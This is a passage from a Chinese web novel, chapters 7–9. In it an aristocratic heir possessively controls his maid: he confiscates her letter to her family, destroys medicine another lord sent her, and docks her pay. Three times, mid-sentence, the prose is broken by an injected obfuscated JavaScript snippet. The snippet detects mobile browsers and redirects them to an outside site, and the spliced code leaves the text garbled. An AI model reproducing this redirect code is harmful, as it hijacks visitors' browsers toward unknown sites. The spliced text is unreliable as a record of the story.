《太子的宠婢逃跑了》 7. 第 7 章 因为折婳背对着顾辞宴和季元恒几人站着,她虽然能够感觉到季元恒等人离开的脚步声,却没留意到顾辞宴何时已经朝她这边走过来了。 因为顾辞宴的动作,折婳仰头看向顾辞宴。 虽然她根本不知道刚才季元恒几人发生了什么,顾辞宴为何对她说这样的话。但是顾辞宴身为主子开口了,折婳还是温声道:“奴婢不知道季世子刚才是否有看奴婢,奴婢刚才离季世子比较远,兴许季世子是在瞧林子里的其它景物。” 顾辞宴的目光落在折婳的脸上,道:“你和季元恒之前见过?” 经过她和顾辞宴的相处,折婳知道顾辞宴讨厌别人在他的面前撒谎,她如实道:“前几日芳杏和奴婢在围场碰见了钟小姐,钟小姐知道奴婢是世子的丫鬟,想用弓箭伤害芳杏和奴婢,幸好季世子及时出现,救了芳杏和奴婢。” “除了我撞见你和钟岚欢的那次,钟岚欢之前还见过你?”顾辞宴道。 折婳点头。 顾辞宴的脸上浮现对钟岚欢的厌恶。钟岚欢在围场救敢用弓箭伤害折婳,胆子真大,早知道该早些让钟岚欢回京城。 顾辞宴放在折婳身上的手松了松,折婳都差点儿被钟岚欢伤害,折婳竟然一点儿也没有对他说起此事。昨日若不是他碰巧看见她和钟岚欢在一起的画面,她怕是还是不会对他说起她收到的伤害。 身为下人,要会察言观色。折婳感觉顾辞宴对她的不愉似乎减轻了一些,她微微扬起唇角,笑道:“季世子身份尊贵,奴婢和季世子之前虽然有一面之缘,但是季世子应该早就将奴婢给忘记了。奴婢觉得季世子刚才即使是在看奴婢,可能是季世子见奴婢和世子在一起。” “来到围场后,世子还从来没有带女子来过林子。今日世子带奴婢来林子,恰巧被季世子给碰见了。季世子是关心世子,才看了奴婢几眼。” 芳杏曾经说过季元恒曾经给顾辞宴做过伴读,二人关系交好。虽然刚才她背对着季元恒等人,但是从刚才顾辞宴对季元恒的称呼,以及几人的对话来看,折婳觉得芳杏口里的‘二人关系交好’应该非妄言。 顾辞宴不相信她,难道还能不相信季元恒? 顾辞宴和季元恒认识多年,季元恒确实为人细心。他今日也是第一次带女子进林子,季元恒若是因此注意到折婳也有可能。 听见折婳的话,顾辞宴松开折婳,他抬手轻轻拨动了一下折婳脸颊旁的碎发,他道:“改日若是再见到季元恒,少和他接触。” 季元恒毕竟是王府世子,平日里又待人和善,他知道京城有许多女子倾慕季元恒。 折婳眨了眨眼睛,顾辞宴这是担心她会伤害季元恒?季元恒是王府世子,她是他的丫鬟,她怎么可能对季元恒造成伤害…… 心中这样想着,折婳口里却道:“世子,奴婢知道了。” 顾辞宴注视着折婳,又伸手拨弄了一下折婳脸颊旁的碎发。 …… 等折婳和顾辞宴回去,折婳回到她的营帐,便看见芳杏开心地朝她走来。芳杏道:“折婳,告诉你一个好消息,你之前不是说你的家人很有可能还在遇州?我将你的事情和我那个同乡说了,他说他过几日会去遇州,他可以帮你给你的家人带信。” 这对于折婳来说确实是一个好消息。折婳抿了抿唇,又道:“此事会不会给你的同乡带去麻烦?” 她曾经想让瑞王府的小厮帮她带信,那个时候顾辞宴发了好大的火。 芳杏不知道折婳的心中所想,她道:“他又不是瑞王府的下人,他给你带一封信,怎么会给他带去麻烦?” 折婳想了想,事后顾辞宴即使生气她的行为,也无法责罚别人的下人。 折婳笑道:“芳杏,谢谢你。” 芳杏:“你将信写好,我和他约好了,到时候他在溪边等你,到时候你将信给他就行了。” …… 第二日瑞王和顾辞宴带着一行人进林子狩猎。夕阳斜照,折婳将写好的信放在袖子里,她和别的府的丫鬟站在空地上,等顾辞宴等人从林子里出来。 马蹄声响起,顾辞宴和瑞王骑马走在最前方,身后是这次来围场的官员和他们的公子。 “折婳,今日季世子也进林子狩猎了,我听说季世子来围场后,还没猎多少的猎物。”芳杏站在折婳的身边,在折婳的耳边小声道。 从芳杏之前提起季元恒的语气,折婳看出来芳杏对季元恒有意,这才会时刻注意着季元恒。 听见芳杏的话,折婳下意识地顺着芳杏的视线看过去,巧合的是她的视线刚好和季元恒的视线对上了,二人皆是一怔。 季元恒的唇角挂着淡淡的笑,轻轻点头。 季元恒毕竟是王府世子,是折婳得罪不起的人。折婳没胆子立刻移开视线,她的唇边挂着温婉的笑,也冲季元恒笑了笑。 忽然折婳的脖颈处升起一股寒意,她的视线微移,看见了离季元恒不远的顾辞宴。不等折婳有何反应,顾辞宴已经移开了视线。 …… 顾辞宴从林子里出来了,本来折婳应该要去伺候顾辞宴,但是顾辞宴和瑞王还有事情商量,暂时不需要她伺候,折婳决定先将信给芳杏的同乡。 芳杏的同乡穿着一件灰色的衣裳,模样憨厚。 因为芳杏和他约定好了,同乡向折婳保证会将她的信送去遇州。 折婳将准备好的银子给他,作为酬谢。 说好了让芳杏的同乡帮她送信的事情,折婳还记挂着要去伺候顾辞宴,没多耽搁,便往回走。 不怎么的,折婳感觉她的眼皮跳得不舒服,她的眼前浮现之前顾辞宴看向她的眼神。 她只是不小心和季元恒对视了,顾辞宴为何要生气…… 兴许是心中想着事情,折婳的脚踝处传来疼痛。她的脚崴了。 “小心。” 一只大手扶在折婳的胳膊上,让折婳不至于摔到地上。 “多谢季世子。”折婳看向季元恒,郑重道谢。 看出折婳的防备,等折婳站稳,季元恒便松开了折婳,他的目光落在折婳的脚踝处,道:“你最好坐着休息一会儿,暂时不要移动脚。我的身边没有带丫鬟,需要我喊个丫鬟来帮你吗?” 她自己是丫鬟,折婳怎么敢让别的丫鬟来伺候她?折婳看向季元恒,恭敬道:“多谢季世子好意,我在这里休息一会儿,等会儿自己回去。” 折婳拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181493|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝了,季元恒不再多言,他的视线又看了折婳受伤的脚一眼,他道:“你记得给受伤的脚用药,莫强撑。” 季元恒又说了几个注意事项,抬脚离开了。 折婳目送季元恒离开,脑海里浮现芳杏之前对季元恒的评价。若是围场里其他的贵人刚才看见她受伤,不会多看她一眼,更加不可能出手搀扶她。 看来季元恒的性子真的很好,他身为王府世子,金尊玉贵,待她一个丫鬟也如此和善。 季元恒之前还在钟岚欢的箭下救了她和芳杏。 受伤的脚不能用力,折婳现在这般站着十分吃力。折婳想到季元恒刚才的话,她在左边的一块石头上坐下,缓解脚踝处的疼痛。 等她感觉受伤的脚踝不那么疼痛了,折婳站起身,朝她的营帐移动。她现在这个样子,自然是没法伺候顾辞宴了。 因为崴了脚,折婳花了许多时间,才慢慢挪到她的营帐。 晚霞裹挟着冷风落在营帐的帘子上,感受着脚踝处的疼痛,折婳的身上出了一层冷汗。 忽然折婳的脚步顿住了,讶异道:“世子?” 以顾辞宴的身份,怎么会出现在她的营帐?他对她有吩咐? “受伤了?”顾辞宴站起身,朝折婳走来。 “我刚才不小心将脚给崴了。”借着顾辞宴手上的力气,折婳在营帐里的椅子上坐下。 顿了顿,折婳想到顾辞宴出现在她的营帐里的目的,她柔声道:“世子是来找我的?世子有何吩咐?” 顾辞宴的目光落在折婳的身上,道:“有事。” 折婳的视线落在顾辞宴的袖口,他放在袖子里的信封露了一部分出来。 信封上的字迹十分眼熟。 是她不久前交给芳杏的同乡的那封信。 顾辞宴顺着折婳的视线低头,将那封信给拿了出来。在折婳的注视下,顾辞宴将信放在桌面上,和那封信放在一起的还有一个碎银子。 折婳的唇瓣动了动。 脚步声响起,芳杏闯了进来,她的手里拿着一个药瓶,道:“折婳,季世子……” 等芳杏走进来,才发现顾辞宴也在营帐内,原本的话也顿住了。 顾辞宴的视线落在芳杏手上的药瓶,道:“何事?” 芳杏低下头,恭敬道:“季世子派人送来了一瓶药膏,说能治疗折婳的脚伤。” 折婳:“我脚受伤时,碰见了季世子。” 顾辞宴示意芳杏将药膏拿来,他道:“折婳,我应该告诉过你,我最讨厌背叛和不听我的话。” 顾辞宴从另一个袖子里拿了一瓶药膏出来,他道:“你受伤了,一瓶药膏而已,我又不是不能给你?” “至于有些不该存在的东西,我帮你处理掉,扔了。” 说话时,顾辞宴瞥了一眼折婳写给家人的信,以及季元恒派人送来的药膏。 刚才芳杏将季元恒送来的药膏放在了桌面上,顾辞宴的衣袖拂过,药瓶掉在了地上,碎成了几片。 折婳的眼睫颤了颤,心也碎成了几片。 在顾辞宴的手碰到她的腿时,折婳下意识地避开了顾辞宴的手。 “若是我不愿意扔呢?” 8. 第 8 章 折婳在顾辞宴的面前向来表现得温顺,倒不是她本性如此,而是身为下人,最重要的便是听从主子的吩咐。顾辞宴生来尊贵,又是一个不喜欢别人违抗她的命令的人。 顾辞宴是她的主子,她的恩人,她不得不听从顾辞宴的命令。 这还是折婳遇见顾辞宴后,第一次违抗顾辞宴的命令。 折婳的视线地上碎了的药瓶,然后是桌面上她写给家人的信,以及她给芳杏同乡的银子,她将刚才的话又重复了一遍,道:“若是,若是不愿意扔掉呢?” 顾辞宴眸色阴沉,道:“折婳,你知道你在说什么吗?” 以折婳对顾辞宴的了解,她知道顾辞宴这是生气的表现。 感受着顾辞宴冷冽的眸光,折婳想要动一下她受伤的脚,可是她的腿被顾辞宴强硬地给用手握住了,她动弹不得。 “只是,一瓶药膏,一封写给家人……” 折婳的唇瓣动了动,重复刚才顾辞宴说过的话。 “呵。” 不等折婳将话说完,顾辞宴冷笑一声,打断了折婳的话。 “我不同意,你以为你能有别的选择?”顾辞宴居高临下的看着折婳,陈述事实般的语气。 折婳的秀眉拧着,顾辞宴的一只手掌控着折婳的腿,他挨着折婳坐下,迫使折婳的身子靠近他,他冷声道:“长本事了,这个药膏和信对你这么重要?” “是地上的药膏对你重要,还是你家人的信对你更重要?” “你不是说季元恒对你没有印象,他为何会给你送药膏?” 顾辞宴此时若是生气,也是她的事情。季元恒好心,折婳却不愿意连累季元恒。折婳道:“奴婢刚刚说过了,奴婢脚受伤时,恰巧碰见了季世子。季世子可怜奴婢,性子和善,平易近人,才给奴婢送来了这药膏。” 听见折婳的解释,顾辞宴的脸上的冷冽更盛。季元恒性子和善,平易近人,她究竟是谁的下人…… “你对季元恒的评价如此好,你是不是想当季元恒的丫鬟?要不要将季元恒喊来,看看他愿不愿意收你当丫鬟?”顾辞宴的手落在折婳的下巴上,抬起折婳的脸,迫使折婳仰头看向他。 折婳的眼睫颤了颤,脚踝处的疼痛更大了,她煞白了脸。 芳杏跪在地上,低着脑袋,大气不敢出。 见折婳不说话,顾辞宴抬手抚摸折婳的脸蛋,道:“你说季元恒性子和善,平易近人,他给你送来一瓶药膏,看了你几眼,你以为季元恒就有你将放在心上?一瓶药膏,我不是也给了你?莫因为他看了几眼,和你说几句话,便以为你对他有多么重要。” “若不是我,你这次能来围场?你若不是我的丫鬟,你以为季元恒会搭理你?” 折婳苍白着脸,心却冒冷意。顾辞宴说得没有错,若不是顾辞宴,当初她兴许已经被杨府卖到烟花之地,很快就会香消玉殒,此时不可能好端端地在这儿。 杨府当初要将她卖掉,她无力反抗。此时顾辞宴若是要将她赠送给季元恒,也不过是他一句话的事情。 在顾辞宴这些上位者眼里,一个丫鬟而已,去留对他们来说无须太在意。 折婳眸光波动,脚踝处的疼痛使她后背冒出了一层冷汗,潋滟的眼眸弥漫上水光,她道:“世子是奴婢的主子,世子要将奴婢赠送给季世子,或者对奴婢有其他的处置,都是世子的决定。” 顾辞宴的营帐里有一株株兰花。听说那株兰花是顾辞宴在偶然在林子看见的,顾辞宴将那株兰花带回营帐,精心养着,谁不说顾辞宴对那株兰花十分喜爱? 现在大家都说她是顾辞宴身边最受宠的丫鬟。她来到顾辞宴的身边,大家都说顾辞宴有多么宠爱她这个丫鬟,待她有多么好。 只是顾辞宴的心思又哪里是那么容易猜测的? 在顾辞宴的面前,她始终是他的丫鬟,芳杏都吐槽过顾辞宴冷漠又难伺候,她每次面对顾辞宴,也需要时刻揣摩顾辞宴的心思。 之前顾辞宴中.药,她将清白身子给了顾辞宴。顾辞宴拒绝了瑞王提议给她名分的提议。她不知道顾辞宴是想日后再给她名分,还是觉得她身为低微,是否给她名分都无所谓…… 她不是钟岚欢,也没有向顾辞宴讨要名分的资格。 其实顾辞宴对她所谓的宠爱和那株兰花没有区别。 折婳似乎就是那株兰花,看似顾辞宴十分宠爱她,她和那株兰花又有什么区别? 他是她的主子,她的恩人,从一开始他给她的所谓的‘宠爱’就是居高临下。 冷意在她的心中蔓延。 顾辞宴给了折婳机会和选择,折婳此时却给他来这样的一句话,他的心中的怒火更盛。 女子生着一张仙姿玉貌的脸,眼似秋水,眉眼如画,她本来就肌肤升雪,此时可能是因为脚踝的疼痛,她白净的脸蛋泛白,更添楚楚可怜。 很像顾辞宴第一次看见折婳时的样子。 那时折婳也是白着一张脸,落魄却又透着一股坚韧,她道:“求公子救我,我愿意尽我所能报答公子,以后都听从公子的吩咐。” 以后都听从公子的吩咐。 世子是奴婢的主子,世子要将奴婢赠送给季世子,或者对奴婢有其他的处置,都是世子的决定。 类似的话,听在顾辞宴的耳朵里,却是完全不同的感受。 是他先提起要让折婳当季元恒的丫鬟,顾辞宴凝视着折婳,用往日里的命令语气道:“你莫再接触季元恒,你给家人的那封信,你认识到自己的错,不再发生这样的事情。” 折婳的浓密的眼睫在脸上投下阴影,不说话。 顾辞宴冷声道:“药膏是季元恒送来的,是季元恒的决定。这封信却是你的自作主张,让你保证不再犯错,很难吗?” 说话时,顾辞宴的视线扫过桌面上那封折婳写给家人的的信。 犯错的人是她,他对她已经够忍让了。 折婳的目光也落在桌面的信上,她道:“那只是给家人的信,让家人知道我安好……” 顾辞宴冷声道:“我说过,若是你的家人真的在寻你,会通知你。” 早就抛弃了她,贪财的家人哪里值得她如此挂念?比他还重要吗? 这世上许多贪婪的父母在卖了女儿后,得知还能从女儿身上获得钱财,不断榨干女儿身上的价值,根本不会为女儿考虑。折婳却还傻乎乎地惦念着那贪婪的父母。 折婳咬了下唇,眼睛泛红。 除了这次来围场,她基本上都在瑞王府。她的家人怎么可能轻易知道她的所在? 顾辞宴的心里不可能不清楚,他若是有心帮她联系她的家人,她的家人怎么可能至今不知道她在瑞王府? 顾辞宴根本没准备让她和她的家人团聚。他也根本没让她有自己选择的机会。 顾辞宴低下头,吻上了折婳的唇。折婳的眼睫颤了颤,泪珠落了下来。 顾辞宴抬手抚过折婳的眼角,声音里透着警告,他道:“折婳,莫再自作主张。” 折婳垂下眼眸,眼睫上挂着泪珠,仍然没有说话。 让家人知道她安好,不会给顾辞宴造成任何影响。 她知道顾辞宴是她的主子,需听从顾辞宴的命令。顾辞宴也让她完全听从他的话。 可是她不是没有感情的物件。她不是生来就是伺候的下人,家人在她心里是最重要的人。 顾辞宴坐在折婳的对面,盯着折婳的脸,眸光越来越阴鸷。 …… “折婳,你没事吧?”芳杏从地上爬起来,走到折婳的面前。 芳杏回忆刚才顾辞宴将药膏扔到她的怀里,他脸色冷冽地离开的场景,她心里一阵后怕。 折婳忍着脚上的疼痛,安慰道:“我没事儿,脚有些疼。刚才的事情,我又连累你了。” 若不是她,芳杏不必承受顾辞宴的怒火。 芳杏顿了顿,迟疑道:“折婳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181494|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才你是惹世子生气了吗?是因为你给你家人的那封信,还是季世子……” 折婳的视线扫过地上碎了的药瓶,刚才顾辞宴离开时,她写给家人的那封信也被顾辞宴拂到了地上,顾辞宴的脚从信封上踏过,信封上还残留着一个脚印。 折婳吸了吸鼻子,道:“我如今是世子的丫鬟,但是从来没有规定,丫鬟不能给家人写信。季世子一片好意,是我没有福气,没能享受季世子送来的药膏。” 她和妹妹是双胞胎,妹妹生来便身体孱弱,据说是因为她在折母肚子里时抢了妹妹的营养,因此她一直对妹妹有愧疚之心。 这么长时间她没能和家人取得联系,她不知道妹妹的情况,折父早些年被野兽咬断了腿,没有挣钱的能力。折母一个人不知道这段时间能否养活妹妹和折父。 折婳最担心的还是妹妹的身体,妹妹基本上常年喝药,会需要大量银子。 她当初会卖身为奴,也是因为折母一个人无法养活一家子。 她的这封信今日没能让芳杏的同乡帮忙送出去,以顾辞宴今日的态度,她知道她家人的事情无法再指望上顾辞宴。她若是想要见到折父,折母和妹妹,她需要想其他的方法。 只是看顾辞宴今日的样子,她若是想再联系她的家人,怕是更加困难了。 像顾辞宴刚才说得那样,他若是不同意,她什么都无法办成。 芳杏将药膏倒在手心,将药膏抹在折婳受伤的脚踝处,她道:“世子今日的表现是好莫名其妙,你只是想给你的家人寄一封信,世子为何这么大的反应?世子不仅将你寄给家人的信拿回来了,你作为酬谢的银子竟然都被世子拿回来了。” 听见芳杏提到她写给家人的信,以及她作为酬谢给芳杏同乡的银子,折婳看向芳杏,道:“此事是否会连累你同乡?” 芳杏道:“你若是不放心,我寻个机会,再去见我那个同乡一面。” 虽然折婳觉得顾辞宴应该管不到别人的下人,但是今日顾辞宴的反应出乎她的意料,她不愿连累芳杏的同乡。 折婳看着芳杏,再次感谢道:“多谢你。” 芳杏见折婳似乎还没有从刚才的事情里缓过来,她轻声道:“折婳,其实我们世子还是很看重你的,虽然我们世子刚才将季世子送来的药膏给你的药膏给毁了,但是他不是特意给了你一瓶新的医治脚伤的药膏?” 说话时,芳杏晃了晃手里的药瓶。 芳杏的目光又落在折婳的身上,道:“还有你身上的衣裳,首饰都是我们世子赏赐给你的。世子经常会赏赐你许多好东西。” “你如今得罪了世子,以后会不会在瑞王府处境困难?” 最后一句话,芳杏说得特别小声。 之前大家都羡慕顾辞宴对折婳的宠爱,但是刚才顾辞宴对折婳的冷漠无情她也是看在眼里。她本来以为顾辞宴待折婳总是有些真心的,但是顾辞宴之前待折婳的宠爱若是真的,怎么会连折婳的家人的书信都容不下?顾辞宴还打碎了季元恒送来的药膏…… 折婳低头看了看身上的衣裙。顾辞宴如今没有娶妻,获得了好布料会随手赏给折婳。 她脑海里浮现顾辞宴刚才捧着她的脑袋,手指抚摸她的脸颊,他道:“跟我认错,折婳,乖。” 似乎她开口认错,他便不会再和她计较今日之事。男人目光注视着她,看起来温柔深情,让人极容易沉溺其中。 折婳垂下眼眸,感受着脚上的疼痛,她抬手擦了擦脸上的泪水,可是很快又有眼泪落了下来,模糊了她眼前的视线。 芳杏的最后一句话,她听见了。一个丫鬟若是得罪了主子,以后会是什么下次,她岂会不知? 折婳先前也不知怎的,没能在顾辞宴的面前控制好情绪。 芳杏道:“世子先前太可怕了。折婳,你若是换主子,或者不再在世子的身边伺候就好了。” 折婳看向芳杏,道:“不再在顾世子的身边伺候?” 9. 第 9 章 瑞王营帐 严韵茵端着一碟子桂花糕,走到瑞王和瑞王妃的面前,笑说道:“韵茵亲手做了一碟子桂花糕,拿来给王爷和王妃尝尝。” 她今日穿着一身碧绿色的衣裙,淡雅清丽,唇角微微弯起,给人一种温婉的感觉。 瑞王妃笑道:“你有心了。来到围场后,其他人都只想着林子里的猎物,难为你还想着做糕点。” 严韵茵脸上露出羞赧,道:“韵茵骑射不佳,也只能做这些了。” 瑞王拿了一块桂花糕,咬了一口,道:“辞宴骑射倒是精湛,这次来围场猎了许多的猎物。” 听见瑞王提起顾辞宴,严韵茵有心想说什么,却又不想表现得太急切。她弯起唇角,温婉端庄。 这时下人走进来在瑞王和瑞王妃的耳边说了几句话。瑞王妃轻轻皱眉,她的目光落在严韵茵的身上,笑道:“你的桂花糕十分可口,改日我要和你讨论做法。” 严韵茵听出来瑞王妃是变相地让她离开,她朝刚刚进来的下人看了一眼,低下头,微笑道:“王爷和王妃喜欢便好,韵茵改日再来和王妃讨论做法。” 说完,严韵茵冲瑞王和瑞王妃福了福身,退了出去。 等严韵茵出去,瑞王和瑞王妃脸上的笑容皆淡了下来。 刚才下人的话在瑞王和瑞王妃的耳边响起,“世子去了折婳的营帐,出来时脸色不佳。” 瑞王道:“那个叫‘折婳’的丫鬟果然是个惹是生非的,一个下人竟然给主子气受。” 瑞王妃虽然疼爱顾辞宴,到底理智,不会像瑞王般完全站到顾辞宴那边。她道:“我们又不知道发生了什么,辞宴的性子王爷又不是不了解,谁敢给他气受?” 瑞王冷声道:“总之辞宴心情不悦,与那个叫‘折婳’的丫鬟脱不了关系。一个丫鬟占据主子大量的心神,还不懂得为主子分忧。” 瑞王妃听出来瑞王话里有话,她道:“王爷是想做什么?” 瑞王:“本王之前问过辞宴,他暂时没有给那个叫‘折婳’的丫鬟名分的想法,如今那个叫‘折婳’的丫鬟又令辞宴不悦。” “本王想着,看在折婳之前给辞宴解药的份上,若是给她份恩典,恢复她自由身,她也不会再占据辞宴的心神,让她以后离辞宴远远的。王妃觉得如何?” …… 严韵茵最近经常往瑞王和瑞王妃的营帐跑,偶尔也会碰上顾辞宴。 瑞王营帐,严韵茵站在瑞王妃的身边,不着痕迹地朝顾辞宴的方向看了一眼,面露羞涩,微微低下头。 她特意打听过顾辞宴身边那个叫‘折婳’的丫鬟穿衣风格,她今日穿了一件海棠红色的衣裙,毕竟是高门出身的贵女,不会完全模仿一个丫鬟的穿衣打扮,她一头青丝挽了一个典雅的元宝髻,发髻上簪着点翠嵌红宝石簪,华贵又不失她的身份。 瑞王妃看了看身旁的严韵茵,目光又落在顾辞宴的身上,笑道:“严小姐有心了,之前我和王爷夸赞她做的桂花糕可口,今日严小姐又给我们送来了。辞宴,你来得巧,有口福了。” 严韵茵面向顾辞宴,双腿屈膝,给顾辞宴福了福身,道:“承蒙王爷和王妃喜爱,王爷和王妃喜爱便好。世子若是喜爱,我改日再做一些桂花糕给世子送去。” 有钟岚欢的例子在前,严韵茵知道光有家世是不够的。她若是像钟岚欢般为了嫁给顾辞宴,不择手段,反而会让她被顾辞宴厌恶。 所以严韵茵选择了先拉拢瑞王和瑞王妃。瑞王和瑞王妃毕竟养育了顾辞宴,顾辞宴日后娶妻,瑞王和瑞王妃有很大的话语权。 严韵茵自认为她家世虽然不如钟岚欢,但是她今日的每一个细节都是有意按照顾辞宴的喜好打扮的,说话时,她看似端庄温婉,实际上一直在观察顾辞宴的反应。 只是顾辞宴见惯了别人对他的奉承,严韵茵虽然精心准备了许多,他看了一眼严韵茵端到他面前的桂花糕,吃了一块便不再碰了,他道:“父王和母妃喜欢就好,我不爱吃这糕点。” 听见顾辞宴的话,严韵茵心中失望,不过她以后仍然能够继续拉拢瑞王和瑞王妃。她脸上笑容不变,笑道:“看来是我的厨艺不合世子的口味,改日我的厨艺精进了,再邀请世子品尝。” 严韵茵这几日经常往他们这边跑,瑞王和瑞王妃怎么可能不知道严韵茵的用意?不过瑞王和瑞王妃乐见其成。顾辞宴马上要被立为储君,自然是要娶妻的,后院的女人也不可能少。 如今顾辞宴还只碰过折婳一个女人。他们之前没有特意给顾辞宴安排妾室,通房之类的,一是因为皇帝曾经因为女人伤了龙体,为了不让顾辞宴重蹈覆辙,顾辞宴身边的人都是他们精心挑选过的,除了折婳,是顾辞宴主动带回瑞王府的,这也是瑞王不喜折婳的原因。 二是顾辞宴有主见,在顾辞宴没有及冠前,他们也不愿意顾辞宴因为男女之事,让他走了歪路。 瑞王有意撮合严韵茵和顾辞宴,他道:“之前严小姐说自己骑射不佳,今日辞宴猎了许多的猎物。辞宴,将你的猎物送一些给严小姐。” 听见瑞王的话,严韵茵的脸上浮现欢喜,她冲顾辞宴又福了福身,道:“多谢世子。” 顾辞宴神情漠然,道:“让王府的小厮带你去挑选。” 顾辞宴陪瑞王和瑞王妃又说了一会儿话,他站起身,道:“父王,母妃,我走了。” 瑞王点头,道:“去吧。” 严韵茵看着顾辞宴离开的方向,心中遗憾。虽然她的目标是顾辞宴,但是如今想要嫁给顾辞宴的女人很多,再加上钟岚欢之前的事情,她不敢在顾辞宴的面前表现得太心急,只能徐徐图之。 营帐外,小厮跟在顾辞宴的身后,屏息敛声。在顾辞宴的身边伺候的人都发现他们世子这两日心情不佳,他们时刻紧绷心神,唯恐他们一个不留神,惹恼了他们世子。 这时走在前方的顾辞宴的脚步慢了下来,见状,小厮连忙也停下了脚步。 路过的人看见顾辞宴,纷纷冲顾辞宴行礼。瑞王府的下人居住的营帐离主子们的营帐不远,顾辞宴朝远处看去,折婳居住的营帐映入他的眼帘。 顾辞宴的脑海里浮现刚才严韵茵穿的海棠红的衣裙。下头的人曾经为了讨好他,曾经给他赠送过一匹海棠红色的布料。他看见那匹布料的第一眼,便觉得那匹布料和折婳十分相配。 后来那用海棠红色的布料裁制成的衣裙穿在折婳的身上,衬得本来就天生丽质的她更加美艳绝伦。那条海棠红色的衣裙也是折婳最喜欢的一件衣裳。 小厮顺着顾辞宴的目光看过去,大着胆子揣测顾辞宴的心思,他恭敬道:“世子是否不习惯折婳姑娘不在身边伺候?只是折婳姑娘伤了脚,现在怕是无法回世子的身边伺候……” 然而小厮没将话说完,他的话就被顾辞宴给打断了。 顾辞宴的脑海里浮现折婳之前为了她贪财的家人和季元恒违逆他的画面,他沉声道:“她一个丫鬟,莫非你觉得我的身边还不能缺少她?” “你这可恶的小厮故意在我的面前提起她,收了她什么好处?以后莫再在我的面前提起她。” 说完,顾辞宴似乎觉得不解气,又道:“她既然干不了活,这个月的月钱也别领了。” 从来只有丫鬟巴结主子,主子的身边不会缺少一个小丫鬟。她犯了错,而不是让这个小厮故意在他的面前提起她,她难道没有胆子出现在他的面前了? 顾辞宴口里的‘她’明显指的是折婳。 意识到自己说错了话,小厮低着脑袋,连忙认错。 小厮觉得冤枉,他最近都没有见过折婳,他哪里有胆子收折婳的好处? 他刚刚之所以这么说,他还以为顾辞宴是想让折婳回他的身边伺候。 他最近提心吊胆,他想着折婳若是回到顾辞宴的身边伺候,他也不必在伺候顾辞宴时如此胆战心惊了。 小厮的心里一惊。这还是折婳在顾辞宴的身边伺候后,第一次被顾辞宴罚月钱。 虽然以顾辞宴从前对折婳的赏赐,一个月的月钱不算什么。日后顾辞宴能补给折婳。 小厮心说,折婳这是干了什么,让顾辞宴如此恼怒? …… 被罚了月钱的事情,折婳自然很快就知道了。她的脚受伤了,暂时不需要去顾辞宴的身边伺候。 之前因为季元恒给她送药膏的事情,以及她给家人写信的事情,以顾辞宴那日从她的营帐离开时的样子,折婳本来想着,她不去顾辞宴的身边伺候,暂时也不需要面对顾辞宴,没想到会突然被顾辞宴罚月钱。 之前来围场时是顾辞宴准许她在营帐里休息,她现在脚受伤了,又不是故意干不了活。 芳杏见折婳垂着眼帘,不知道在想什么,她以为折婳是因为顾辞宴罚她月钱的事情伤心,她安慰道:“等世子气消了,你的月钱很快就能回来了。” 芳杏觉得以顾辞宴从前对折婳的宠爱,等日后折婳重新获得顾辞宴的宠爱,顾辞宴会赏赐折婳更多的好东西。 折婳虽然心疼少了的月钱,事已至此,她也知道此事由不得她。她冲芳杏笑了笑,道:“多谢你这两日对我的照顾。” 她的脚受伤后,芳杏很照顾她,她的膳食都是芳杏帮她拿回营帐来的。 芳杏的目光落在折婳的身上,唇瓣动了动,似乎是有什么想说,又不知道如何开口。 折婳察言观色,笑说道:“有什么事吗?” 默了默,芳杏道:“世子之前从我们的营帐出去时,脸色不佳的事情,好像被瑞王府其他的下人知道了。之前罗疱人见到我,竟然还问我,你是不是在世子的面前失宠了……” “明明罗疱人之前待你十分热情,如今他却这样,真是落井下石……” 听见芳杏的话,折婳知道因为她和顾辞宴的事情,芳杏应该听见了一些和她有关的风言风语。今日顾辞宴又罚了她月钱,瑞王府其他的下人会更加觉得她在顾辞宴的面前失宠了。 罗疱人之前待她热情,本来就是因为她在顾辞宴的面前得宠,如今罗疱人转变态度,折婳不意外。 折婳的视线落在芳杏的身上,道:“以后我的膳食,我自己去取。” 芳杏道:“这怎么能行?你的脚伤还没有痊愈。” 折婳安抚地冲芳杏笑了笑,道:“没事儿,我的脚已经不怎么痛了。我也不能一直在营帐里休息,总要回世子的身边伺候的。” 折婳不想因为她,让芳杏受到非议。 芳杏想了想,道:“我和你一起去取膳食。” 瑞王府其他的下人因为一些议论,就对她转变了态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181495|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。芳杏在知道她得罪了顾辞宴后,仍然如此善待她,折婳的心里升起感动。 到了用午膳的时候,折婳和芳杏一起去取午膳。 罗疱人看着一起走来的折婳和芳杏,愣了愣。 